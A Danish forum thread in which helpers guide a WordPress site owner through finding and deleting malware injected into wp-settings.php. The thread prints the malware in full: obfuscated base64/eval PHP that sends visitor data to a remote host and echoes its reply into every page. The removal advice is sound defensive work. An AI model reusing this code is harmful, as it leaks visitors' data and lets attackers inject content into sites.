Hjælp! - pludselig advarsel om muligt malware ved adgang til mit site

1. Åben filen wp-settings.php

2. Søg efter "counter_wordpress" i kildekoden.

3. Hvis den er der så slet hele den function counter_wordpress og dertilhørende add_action-

Ser cirka sådan her ud - og er flyttet godt til højre i koden så den ikke er synlig lige når du åbner filen: 

function counter_wordpress() 
{$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = 
urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}
add_action('wp_head', 'counter_wordpress');

Hej Gita, 

allerførst tak for dit svar! 

Det ser ud til du har helt ret, der er ihvertfald den kode snip i wp-settings.php.

Fik du advarslen da du prøvede at besøge siden?

Så hvis jeg bare sletter denne kode snippet, så er "virussen" slettet, eller er der andet jeg bør gøre?

Og endelig, hvordan er det kommet / forhindrer jeg det i at komme igen?

Phillip der var så venlig at tilbyde at lave dette, har du set Gitas indlæg? 

Det her er alt der står i området hvor koden er:  

http://codepad.org/1mX8OpCy

Læg mærke til man som Gita skrev skal scrolle langt til høre for at se en del af koden.

Hej Fenris,

Det haster at få det fjernet, medmindre det ikke gør noget sitet ryger ud af Google :-)

Hvis du er nervøs for at slette det forkerte, så skriv i det mindste følgende kode udenomkring, da koden så ikke bliver kørt og du let kan rette tilbage igen:

/*

Din viruskode

*/ 

Det her skal med sikkerhed væk:
add_action('wp_head', 'counter_wordpress');
Der skulle også være en "function  counter_wordpress". Den skal også væk.

Jeg gik ikke direkte ind på siden, da jeg ved der er malware. Jeg tjekkede kildekoden og kan se din malware-kode.  

Jeg skriver noget om malware i WordPress her lidt senere:
http://streetpatrol.dk/wordpress/malware-virus